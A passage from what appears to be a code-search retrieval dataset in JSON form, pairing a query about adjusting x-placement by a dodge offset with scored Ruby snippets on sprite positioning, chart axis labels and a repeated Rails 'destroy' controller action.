"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec2a804f98c3562a67bf31da5c4570d9",
"score": "0.74721843",
"text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html { redirect_to groups_url, notice: 'Group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
bdbf3ebdfbd02d630d1ee296feb96664
|
Adjust the X placement by dodge offset
|
[
{
"docid": "f5f7316306dccbd3d50f42987435e9f1",
"score": "0.7837021",
"text": "def apply_x_dodge_offset(val)\n @offset = 0 if @offset.nil?\n val += (get_direction == 8 ? @offset : get_direction == 6 ? -(@offset) : 0)\n return val\n end",
"title": ""
}
] |
[
{
"docid": "6621efdc82eb62be9c0892862d43cdd0",
"score": "0.77530813",
"text": "def update_dodge_offsets\n self.x = apply_x_dodge_offset(self.x)\n self.y = apply_y_dodge_offset(self.y)\n end",
"title": ""
},
{
"docid": "1eb96409ec5d0ab3a7a0be8df5394c0e",
"score": "0.62086725",
"text": "def apply_y_dodge_offset(val)\n @offset = 0 if @offset.nil?\n val += (get_direction == 6 ? @offset : get_direction == 4 ? -(@offset) : 0)\n return val\n end",
"title": ""
},
{
"docid": "c1ee71b4926004c915a417c9d3f6740e",
"score": "0.5935559",
"text": "def delete_x_axis\n self.GetXaxis.SetLabelOffset(999)\n self.GetXaxis.SetTitleOffset(999)\n end",
"title": ""
},
{
"docid": "67abafb12a60bf885567db7d9c4a9467",
"score": "0.5896878",
"text": "def actual_x_position\n return adjust_x_to_zoom(@actual_x + set_adjust[0])\n end",
"title": ""
},
{
"docid": "e9a82fc316586d59f3c19d7e06dba775",
"score": "0.57504946",
"text": "def adjust_x(obj)\n dist = Graphics.width/2 - obj.x\n return (@x * @zoom) + (dist * (@zoom - 1.0))\n end",
"title": ""
},
{
"docid": "548e6cb0acd7686e997d30ce44e3ccee",
"score": "0.5733405",
"text": "def x_offset; end",
"title": ""
},
{
"docid": "98b9a28360b4602d73ede476d1909c89",
"score": "0.55903494",
"text": "def x_label_offset( width )\n 0\n end",
"title": ""
},
{
"docid": "c99f00b85d13671a1d77edbf481f5448",
"score": "0.54956436",
"text": "def offset_x_position(offset)\n offset = offset % 32\n return if offset <= 0\n \n change = 1.0 / 32.0 * offset\n @x = @x.floor + change\n end",
"title": ""
},
{
"docid": "e24a6ec01ecd8fe7677dbfebd15f7db2",
"score": "0.5352295",
"text": "def offset_large_unit\n #large unit position update\n self.x += 16*(@character.unit_size-1)\n self.y += 16*(@character.unit_size-1)\n self.y = @character.apply_float_effect(self.y)\n update_dodge_offsets\n update_shadow\n end",
"title": ""
},
{
"docid": "0a1a74a5bf4dd5962079f831c63bbad4",
"score": "0.5344062",
"text": "def x_adjustment\n\t\taverage_x_distance = (@left_sonar_distance + @right_sonar_distance) / 2 \n\n\t\tif average_x_distance > IDEAL_SPRAY_DISTANCE\n\t\t\[email protected](DRONE_THRUST)\n\t\telsif average_x_distance < IDEAL_SPRAY_DISTANCE\n\t\t\[email protected](DRONE_THRUST)\n\t\telse\n\t\t\t# do nothing if at the IDEAL_SPRAY_DISTANCE\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f480fbe64a48df618a655d27adb9a09c",
"score": "0.521507",
"text": "def adjust_x(x)\n if loop_horizontal? and x < @display_x - @margin_x\n return x - @display_x + @map.width * 256\n else\n return x - @display_x\n end\n end",
"title": ""
},
{
"docid": "d6106c47fda2d665b1760b0a7751ec91",
"score": "0.5210129",
"text": "def extend_x_axis_output(index, domain)\n value = \"#{domain.get_coordinate_to_index(index).round(3)}\"\n (10 - value.length).times { print \" \" }\n print \"%#{value.length}s\" % \"#{value}\"\n end",
"title": ""
},
{
"docid": "eff3127720ac81d5f4c50f4c2c13491e",
"score": "0.50870025",
"text": "def print_x_axis\n print \"%#{@entry_size}s |\" % [\"portion in %\"]\n\n axis_numbers = initialize_axis_numbers\n counter = 0.1;\n 1.upto(@width) do |i|\n if ( i % (counter * @width).round == 0)\n print \"|\"\n axis_numbers = axis_numbers[0...-1].concat((counter * 100).round.to_s)\n counter += 0.1\n else\n print \"-\"\n axis_numbers.concat(\" \")\n end\n end\n\n puts \"\\n#{axis_numbers}\"\n end",
"title": ""
},
{
"docid": "fa50135e775093173ee83fd33b0d29e9",
"score": "0.50527596",
"text": "def rel_x\n return x - Graphics.width/2\n end",
"title": ""
},
{
"docid": "fa50135e775093173ee83fd33b0d29e9",
"score": "0.50527596",
"text": "def rel_x\n return x - Graphics.width/2\n end",
"title": ""
},
{
"docid": "02c02601b242f06baddd0321033881cb",
"score": "0.49926606",
"text": "def get_x_axis_labels\n 5\n end",
"title": ""
},
{
"docid": "68dfba8e6daa2c1fcfb940766b2710f5",
"score": "0.49445498",
"text": "def x_position(as: :units)\n keys.first.x_position(as: as)\n end",
"title": ""
},
{
"docid": "cc32cece500b77195e0ec0099c2a5b94",
"score": "0.49332342",
"text": "def d_position\n pos = if offset <= 0\n d\n\n elsif offset > dn_index\n dn_position\n\n else\n d_range[offset]\n\n end\n\n pos = pos < bd ? bd : pos\n pos = pos > bdn ? bdn : pos\n pos\n end",
"title": ""
},
{
"docid": "63da519e00617d24ed750d9f0dc4a8dc",
"score": "0.4907847",
"text": "def move_home_x\n @axis_x.move_home()\n @axis_x.disable_motor()\n end",
"title": ""
},
{
"docid": "61edf81415daf20734ce7d7d96d44976",
"score": "0.48695767",
"text": "def draw_x_labels\n stagger = x_label_font_size + 5\n if show_x_labels\n label_width = field_width\n\n count = 0\n for label in get_x_labels\n if step_include_first_x_label == true then\n step = count % step_x_labels\n else\n step = (count + 1) % step_x_labels\n end\n\n if step == 0 then\n text = @graph.add_element( \"text\" )\n text.attributes[\"class\"] = \"xAxisLabels\"\n text.text = label.to_s\n\n x = count * label_width + x_label_offset( label_width )\n y = @graph_height + x_label_font_size + 3\n t = 0 - (font_size / 2)\n\n if stagger_x_labels and count % 2 == 1\n y += stagger\n @graph.add_element( \"path\", {\n \"d\" => \"M#{x} #@graph_height v#{stagger}\",\n \"class\" => \"staggerGuideLine\"\n })\n end\n\n text.attributes[\"x\"] = x.to_s\n text.attributes[\"y\"] = y.to_s\n if rotate_x_labels\n text.attributes[\"transform\"] = \n \"rotate( 90 #{x} #{y-x_label_font_size} )\"+\n \" translate( 0 -#{x_label_font_size/4} )\"\n text.attributes[\"style\"] = \"text-anchor: start\"\n else\n text.attributes[\"style\"] = \"text-anchor: middle\"\n end\n end\n\n draw_x_guidelines( label_width, count ) if show_x_guidelines\n count += 1\n end\n end\n end",
"title": ""
},
{
"docid": "39ebbebdb319d9d875367609392420ea",
"score": "0.48655844",
"text": "def x\n OFFSET_FROM_LEFT + (coordinates.x * 700).to_i\n end",
"title": ""
},
{
"docid": "73ffd990f2f1c7c73b8e231695630309",
"score": "0.48488474",
"text": "def x_edge_position(edge)\n x_pos = x_position(as: :mm)\n x_pos += width(as: :mm) if edge == :right\n x_pos\n end",
"title": ""
},
{
"docid": "7cd9e60bf74741ce12d0c89f2cb950ec",
"score": "0.48231715",
"text": "def set_left_start_point\n @leading_x = 0\n @leading_y = find_left_entry\n end",
"title": ""
},
{
"docid": "1a76514b7b545bc1185a0f8652a077d9",
"score": "0.47828895",
"text": "def adjust_horizontal(points, y_interval)\n # determine minimum distance for offset (1/25 of overall height)\n jitter_interval = y_interval / 40\n offset_hash = Hash.new\n offset_group = Array.new\n curr_offset_group = -1\n points.length.times do |i|\n j = i+1\n while j < points.length\n if (points[i].ymidpoint - points[j].ymidpoint).abs < jitter_interval\n if !offset_hash[i]\n curr_offset_group += 1\n offset_group << Array.new\n offset_group[curr_offset_group] << i\n end\n if !offset_hash[j]\n offset_group[curr_offset_group] << j\n end\n offset_hash[i]=true\n offset_hash[j]=true\n end\n j += 1\n end\n end\n # adjust all points in the offset groups\n # first adjusted left, then to the right\n offset_group.each do |offset_array|\n adjust_x = -@box_size.to_f/5 * (offset_array.length.to_f-1)/2\n offset_array.each do |offset_point|\n points[offset_point].adjust_x(adjust_x)\n adjust_x+=@box_size.to_f/5\n end\n end\n end",
"title": ""
},
{
"docid": "e94430e86cc00e44060a8557447fc84f",
"score": "0.47788402",
"text": "def print_x_axis_markings(domain_x)\n (@max_y_indentation).times { print \" \"}\n index = 0\n print \"\\\\/\"\n while (index < domain_x.number_of_values / 5)\n 8.times { print \"-\"}\n print \"\\\\/\"\n index += 1\n end\n puts\n end",
"title": ""
},
{
"docid": "3ad435c5492fcad57ecf7591e2d6502f",
"score": "0.47517547",
"text": "def show_x_axis\n false\n end",
"title": ""
},
{
"docid": "432d04c438301c03b869b55f0f2adc3b",
"score": "0.47433698",
"text": "def left_cell_x(x = @x); self.class.left_cell_x_at(x); end",
"title": ""
},
{
"docid": "5943be24a8cfbe77a21ee98a1f79557e",
"score": "0.47391516",
"text": "def lower_position!(amount = 2)\n if position > 0\n update!(position: position - amount)\n end\n dashboard.reposition_cells\n position\n end",
"title": ""
},
{
"docid": "724c36c9acd578078aa693c8cfcf5dca",
"score": "0.4725873",
"text": "def offsetX\n\t\[email protected]('sgt-sector:' + @id, 'offsetx').to_i\n\tend",
"title": ""
},
{
"docid": "1df3b5627b95051948f92b024ba7dcb3",
"score": "0.4722423",
"text": "def center_x\n return CENTER_X\n end",
"title": ""
},
{
"docid": "4d3a7564c1f639c7079b7d08c2ceb96f",
"score": "0.47120354",
"text": "def pos_x\n @font.text_width(text[0...caret_pos])\n end",
"title": ""
},
{
"docid": "4851b8bf977025f36d7eb3f14f6b1b8e",
"score": "0.46953672",
"text": "def ox()\n @offset__&.x || 0\n end",
"title": ""
},
{
"docid": "080ecf5c46c1240e157c8421204a00b8",
"score": "0.4686879",
"text": "def screen_x\n # Return after calculating x-coordinate by order of members in party\n if self.index != nil\n return self.index * 160 + 80\n else\n return 0\n end\n end",
"title": ""
},
{
"docid": "4a059fb4a00b480b014f6e18ef2df41e",
"score": "0.46841505",
"text": "def set_x_axis(params = {})\n @date_category = true if ptrue?(params[:date_axis])\n @x_axis.merge_with_hash(params)\n end",
"title": ""
},
{
"docid": "3011e12c9eb2244f17c9d10130f42122",
"score": "0.46817574",
"text": "def cent_x\n self.x + (@width / 2)\n end",
"title": ""
},
{
"docid": "3a8b26c0a112cb5a2e7268c5d436b4d4",
"score": "0.46792576",
"text": "def shadow_x\n @shadow_point.screen_x\n end",
"title": ""
},
{
"docid": "066dd0e847a0f4058a241baba1c203d2",
"score": "0.4672272",
"text": "def event_original_x(id)\n $game_map.rpg_event(id).x\n end",
"title": ""
},
{
"docid": "e188eaa955151ae2a10e66041ed74268",
"score": "0.4666923",
"text": "def moveto(x, y)\n super\n # Centering\n center(x, y)\n # Make encounter count\n make_encounter_count\n end",
"title": ""
},
{
"docid": "0e32acf1e6fd3c878f07f9b7e3bcbdf7",
"score": "0.46507457",
"text": "def x_distance(new_x_position)\n (new_x_position.to_i - self.x_position).abs \n end",
"title": ""
},
{
"docid": "5ba31dc48f6dbde6d50c42901e67ced4",
"score": "0.4646252",
"text": "def x(value)\n fail XOutOfBounds if x_out_of_bounds?(value)\n\n attributes[:geometry][:x] = value\n end",
"title": ""
},
{
"docid": "cf8800be5aa30dcffd4dcfb42dc681a2",
"score": "0.4644869",
"text": "def refresh_window_alignment\n self.x = case @@alignment\n when 0 then 0\n when 1 then Graphics.width/2-(width/2)\n when 2 then Graphics.width-width\n end\n end",
"title": ""
},
{
"docid": "1032235ae74b9834fb59ccf6102f8eb9",
"score": "0.46243358",
"text": "def pan_view( x = 1, do_display = DO_DISPLAY )\n old_left_column = @left_column\n @left_column = [ @left_column + x, 0 ].max\n record_mark_start_and_end\n display if do_display\n @left_column - old_left_column\n end",
"title": ""
},
{
"docid": "b4ae631832326c696603211d6dce7593",
"score": "0.4624231",
"text": "def position\n if offset <= 0\n d\n\n elsif offset > dn_index\n dn_position\n\n else\n d_range[offset]\n\n end\n end",
"title": ""
},
{
"docid": "129cb35aac30dae1776d711ebe9bc34f",
"score": "0.46220276",
"text": "def screen_x\n return $data_troops[@troop_id].members[@member_index].x + Enemy_Position_AdjustX\n end",
"title": ""
},
{
"docid": "07bc0b6c724865d39707bdcccd7e2d83",
"score": "0.4588251",
"text": "def delta_x(x_position, x)\n (x - x_position).abs\n end",
"title": ""
},
{
"docid": "113c4e69762f23997b6644015cebc077",
"score": "0.45774874",
"text": "def mouse_wheel_delta_x(delta)\n @driver.sc_mouse_wheel_delta_x action_target, delta, *action_locator_args\n stall :mouse_wheel\n end",
"title": ""
},
{
"docid": "4d649f538b402f3b81c0e98d90c278b4",
"score": "0.45662573",
"text": "def xaxis\n end",
"title": ""
},
{
"docid": "3be80148451ca0f1c54eded52ab20bc1",
"score": "0.45482185",
"text": "def x_position(as: :units)\n if as == :mm\n row_offset * unit_width\n else\n number\n end\n end",
"title": ""
},
{
"docid": "c371543ffc72eabccfd00168391b5b83",
"score": "0.45412695",
"text": "def human_x_pos\n '%.2f' % points_to_human(x_pos) unless x_pos.nil?\n end",
"title": ""
},
{
"docid": "bbfd6c10937731d0ce3bf229ee082f6b",
"score": "0.45410582",
"text": "def x\n position.x if position\n end",
"title": ""
},
{
"docid": "bbfd6c10937731d0ce3bf229ee082f6b",
"score": "0.45410582",
"text": "def x\n position.x if position\n end",
"title": ""
},
{
"docid": "a4cb862af4b38bf3425a2a42a638b29d",
"score": "0.4539523",
"text": "def print_x_axis_init(domain_x)\n (@max_y_indentation).times { print \" \"}\n value = \"#{domain_x.get_coordinate_to_index(0).round(3)}\"\n print \"%#{value.length}s\" % \"#{value}\"\n end",
"title": ""
},
{
"docid": "68c7ecdcdccdc1e5a25f966a3d76ac3e",
"score": "0.45304722",
"text": "def drag_x(object,limit_x=nil,limit_width=nil)\\\n return false if !defined?(object.x)\n if self.leftPress?(object)\n if @object_ox.nil?\n @object_ox = @x - object.x\n end\n object.x = @x - @object_ox\n object.x = limit_x if limit_x && object.xlimit_width\n else\n @object_ox=nil\n end\n end",
"title": ""
},
{
"docid": "eafabd25c795859e676c5e4d442d9a17",
"score": "0.45094755",
"text": "def y_offset; end",
"title": ""
},
{
"docid": "e4f44f10f3e6880b608c7441598450e2",
"score": "0.4507099",
"text": "def move_x\n return if doomed?\n return if @x_vel.zero?\n new_x = @x + @x_vel\n impacts = entities_obstructing(new_x, @y)\n if impacts.empty?\n @x = new_x\n return\n end\n @x = if @x_vel > 0 # moving right\n # X position of leftmost candidate(s)\n impact_at_x = impacts.collect(&:x).min\n impacts.delete_if {|e| e.x > impact_at_x }\n impact_at_x - WIDTH\n else # moving left\n # X position of rightmost candidate(s)\n impact_at_x = impacts.collect(&:x).max\n impacts.delete_if {|e| e.x < impact_at_x }\n impact_at_x + WIDTH\n end\n i_hit(impacts, @x_vel.abs)\n self.x_vel = 0\n end",
"title": ""
},
{
"docid": "a0ea66c443f4e852b7a4350a6bd3a0c4",
"score": "0.45020598",
"text": "def print_x_axis_values(domain_x)\n x_value_lenght = determine_maximal_domainvalue_length(domain_x)\n print_x_axis_markings(domain_x)\n print_x_axis_init(domain_x)\n index = 5\n while ((x_value_lenght / 2 + index) <= domain_x.number_of_values)\n extend_x_axis_output(index, domain_x)\n index += 5\n end\n end",
"title": ""
},
{
"docid": "d4affa713e0396753e0bbbe4e04c4869",
"score": "0.44858733",
"text": "def x\n @position.x\n end",
"title": ""
},
{
"docid": "0a7dfc4a449daca5523837bee314f292",
"score": "0.4448757",
"text": "def move_x(val)\n update(y, val)\n apply_pos\n end",
"title": ""
},
{
"docid": "775253be9d8f1a7b004eae7351ec19e7",
"score": "0.44385877",
"text": "def clean_positions\n self.x_pos = self.x_pos.strip.to_i.to_s\n self.y_pos = self.y_pos.strip.to_i.to_s\n end",
"title": ""
},
{
"docid": "36c6a7eb70a78195c3ae67675ba1d4ba",
"score": "0.44367212",
"text": "def effective_x_align(x_align, y_align)\n case x_align\n when :left, :middle, :right\n x_align\n else\n # Default horizontal alignment depends on vertical alignment\n # If vertical alignment is set to top or bottom, we assume it should be centered at top/bottom\n case y_align\n when :top, :bottom\n :middle\n else\n :left\n end\n end\n end",
"title": ""
},
{
"docid": "cb6db084d6de796ae5cefaa6f26e1c25",
"score": "0.44246113",
"text": "def set_x_axis(params = {})\n @x_axis = convert_axis_args(@x_axis, params)\n end",
"title": ""
},
{
"docid": "954274bb04ca1558599eda526598d070",
"score": "0.44217724",
"text": "def pan_view( x = 1, do_display = DO_DISPLAY )\n old_left_column = @left_column\n pan_view_to( @left_column + x, do_display )\n @left_column - old_left_column\n end",
"title": ""
},
{
"docid": "bc4605c87e8d283a92724f1efa7a6803",
"score": "0.44206107",
"text": "def move_x\n return if @x_vel.zero?\n new_x = @x + @x_vel\n impacts = @space.entities_overlapping(new_x, @y).delete(self)\n if impacts.empty?\n @x = new_x\n return\n end\n @x = if @x_vel > 0 # moving right\n # X position of leftmost candidate(s)\n impact_at_x = impacts.collect(&:x).min\n impacts.delete_if {|e| e.x > impact_at_x }\n impact_at_x - WIDTH\n else # moving left\n # X position of rightmost candidate(s)\n impact_at_x = impacts.collect(&:x).max\n impacts.delete_if {|e| e.x < impact_at_x }\n impact_at_x + WIDTH\n end\n @x_vel = 0\n impacts.each {|other| other.impacted_by(self) }\n end",
"title": ""
},
{
"docid": "1643339bb14b8653c2b76572423b9a40",
"score": "0.4408342",
"text": "def label_positions_by_data_points(axis)\n axis[:labels].map do |pos,text|\n SmartChart.decimal_string(x_axis_position(pos))\n end\n end",
"title": ""
},
{
"docid": "8a6bc54e49de10cf33002761658cb371",
"score": "0.44065404",
"text": "def sg_pad_xvals(array, half_window)\n deltas = array[0..half_window].each_cons(2).map {|a,b| b-a }\n start = array[0]\n prevals = deltas.map do |delta|\n newval = start - delta\n start = newval\n newval\n end\n prevals.reverse!\n\n deltas = array[(-half_window-1)..-1].each_cons(2).map {|a,b| b-a }\n start = array[-1]\n postvals = deltas.reverse.map do |delta|\n newval = start + delta\n start = newval\n newval\n end\n\n prevals.push(*array, *postvals)\n end",
"title": ""
},
{
"docid": "5e1027dbc082024089795f113adb4c5d",
"score": "0.4406218",
"text": "def chxp\n return nil unless show_axes?\n labels = []\n axis.values.each_with_index do |a,i|\n if a[:labels][:positions] == :auto\n l = auto_labels(a).keys\n elsif [:left, :right].include?(axis.keys[i])\n l = label_positions_by_values(a)\n else\n l = label_positions_by_data_points(a)\n end\n labels << \"#{i},\" + l.join(',')\n end\n labels.join('|')\n end",
"title": ""
},
{
"docid": "480d5dbecddede6dffdeeed614ba8df1",
"score": "0.4402819",
"text": "def reset_positions_inside\n @atoms.each do |atom|\n coords = atom.position\n atom.set_position(coords.map {|coord| coord - coord.floor}.to_a.to_v3di)\n end\n end",
"title": ""
},
{
"docid": "2daff5da6fa08bb4a11ac4ee2568d930",
"score": "0.43845096",
"text": "def date_to_x_coordinate(date) # => Numeric\n date_range_begin, date_range_end = @x_axis_tick_dates.first.jd, @x_axis_tick_dates.last.jd\n date_range_length = date_range_end - date_range_begin \n ( @x_axis_length * ( date.jd - date_range_begin ) * 1.0 ) / date_range_length \n end",
"title": ""
},
{
"docid": "ed204ea61ad26fc9f7369823a6e7498c",
"score": "0.43842393",
"text": "def round_x_with_direction(x, d)\r\r\n round_x(x + ((d - 1) % 3 - 1))\r\r\n end",
"title": ""
},
{
"docid": "09099f51eb0775885e298bb72479ab1c",
"score": "0.43833807",
"text": "def update_placement\n self.x = (Graphics.width - self.width) / 2\n self.y = (Graphics.height - self.height) / 2\n end",
"title": ""
},
{
"docid": "aa11f929f29c9bdeaeee7b09d3510adf",
"score": "0.43828714",
"text": "def fixpos\n @pos = fix_value( @pos )\n end",
"title": ""
},
{
"docid": "45e23e89ccd66416dd0e59a84eb1d28b",
"score": "0.43811795",
"text": "def x_distance(new_x_coord)\n x_distance = (new_x_coord - x_position).abs\n end",
"title": ""
},
{
"docid": "5ae5df90da7df99ac2c10434e0d6dfb5",
"score": "0.43795013",
"text": "def set_right_start_point\n @leading_x = 0\n @leading_y = find_right_entry\n end",
"title": ""
},
{
"docid": "cbac31d3b42268c0ad81011188c81cc5",
"score": "0.43771258",
"text": "def fix_value( val )\n Pos.abs( ( @container.pos.x! + val.x! ), ( @container.pos.y! + val.y! ) )\n end",
"title": ""
},
{
"docid": "751aded80b1984242d2090f9ee419a08",
"score": "0.43509158",
"text": "def x_offset angle, distance\n\t\t\tdistance * Math.sin(angle * Math::PI/180)\n\t\tend",
"title": ""
},
{
"docid": "f762f5039d9a4b52ecc9481f1d81cb03",
"score": "0.43480688",
"text": "def move_left\n # @dx = -8\n @x -= 8\n end",
"title": ""
},
{
"docid": "e34d7f4669f2514c718f2371f135e9d0",
"score": "0.43432233",
"text": "def d_position\n Vedeu::Point.coerce(value: position, min: bd, max: bdn).value\n end",
"title": ""
},
{
"docid": "4b0c39cdd5cc37803af147e0308b171f",
"score": "0.43396622",
"text": "def margin_left\n 1\n end",
"title": ""
},
{
"docid": "15756f98e80631069f7f9b68d5f4ddf7",
"score": "0.43312874",
"text": "def send_pan_to_pixel_offset(x, y, options = {})\n @pan_counter += 1\n message \"displayPanStackToPixel\", @zone.spritestack[\"name\"], x, y, options\n message \"displayPanStackToPixel\", @humanoid.stack_name, x, y, options\n end",
"title": ""
},
{
"docid": "59f30b0c84c27c7a3c8f60c76c11b32a",
"score": "0.43285117",
"text": "def reflect_horizontal\r\n self.v[:x] = -self.v[:x]\r\n end",
"title": ""
},
{
"docid": "1fdb03ae1a66ee27b520695bb5a22480",
"score": "0.43259948",
"text": "def min_x\n @pos.x\n end",
"title": ""
},
{
"docid": "4f29900fa8f59dc65d769bbf30bba41a",
"score": "0.4323312",
"text": "def dirgap( gap = @gap )\n if @pack == :d || @pack == :u\n Pos.set( 0, gap )\n else\n Pos.set( gap, 0 )\n end\n end",
"title": ""
},
{
"docid": "30f2dde3f409ff91938788b3917854c6",
"score": "0.431378",
"text": "def level_to_xp\n NWN::TwoDA.get('exptable').by_col(\"XP\", self - 1).to_i\n end",
"title": ""
},
{
"docid": "a4e42afdc222a2d03274344133db8631",
"score": "0.43015054",
"text": "def dodge_bonus\n 0\n end",
"title": ""
},
{
"docid": "ea98a7de4e03b5e7652c586fa410aa08",
"score": "0.42905676",
"text": "def left\n self.position[:x]\n end",
"title": ""
},
{
"docid": "1016ba93b0d28c9ba564bf2945ff9f38",
"score": "0.42849666",
"text": "def text_x(pos)\n unless @text_pos\n @text_pos = []\n 0.upto(13) do |i|\n @text_pos[i] = x + i * char_spacing * xdim + (i >= 7 ? 6 : (i >= 1 ? 2 : 0))*xdim\n end\n end\n @text_pos[pos]\n end",
"title": ""
},
{
"docid": "e1cc235605fa151c329378931c608c80",
"score": "0.42732424",
"text": "def adjust_window_positions\n if @quest_label_window && (@quest_category_window || @quest_category_label_window)\n @quest_label_window.x = QuestData::LIST_WINDOW_WIDTH \n end\n end",
"title": ""
},
{
"docid": "a5f46590b373533d8e363856ba4bbca6",
"score": "0.42667198",
"text": "def original_x\n ActorPos[index][0] || 0 rescue 0\n end",
"title": ""
},
{
"docid": "f3c5203a175a89af046103284906b856",
"score": "0.42664033",
"text": "def mouse_x=(value); self.set_mouse_x(value); end",
"title": ""
},
{
"docid": "b2696d05405e8c9a395b0535711f715a",
"score": "0.42632812",
"text": "def incrementX\n @currentPos.x += 1\n if @currentPos.x > @grid.maxX\n @currentPos.x = @grid.minX\n end\n end",
"title": ""
},
{
"docid": "cbce5aeedbc8db3579a6fefe101f8d21",
"score": "0.42604423",
"text": "def centerX\n\t\[email protected]('sgt-system:' + @id, 'centerx').to_i\n\tend",
"title": ""
},
{
"docid": "f4f24eb7e853591796f01d98493293bb",
"score": "0.42586333",
"text": "def assume_top_position\n update_attribute(:position, 1)\n end",
"title": ""
},
{
"docid": "720a159362861c6df392d01eeed5044c",
"score": "0.42583764",
"text": "def decr_x(val = 1)\n update(y, (x - val).abs)\n apply_pos\n end",
"title": ""
},
{
"docid": "ec3ba39887e7ed95827bda2b1185318a",
"score": "0.42546618",
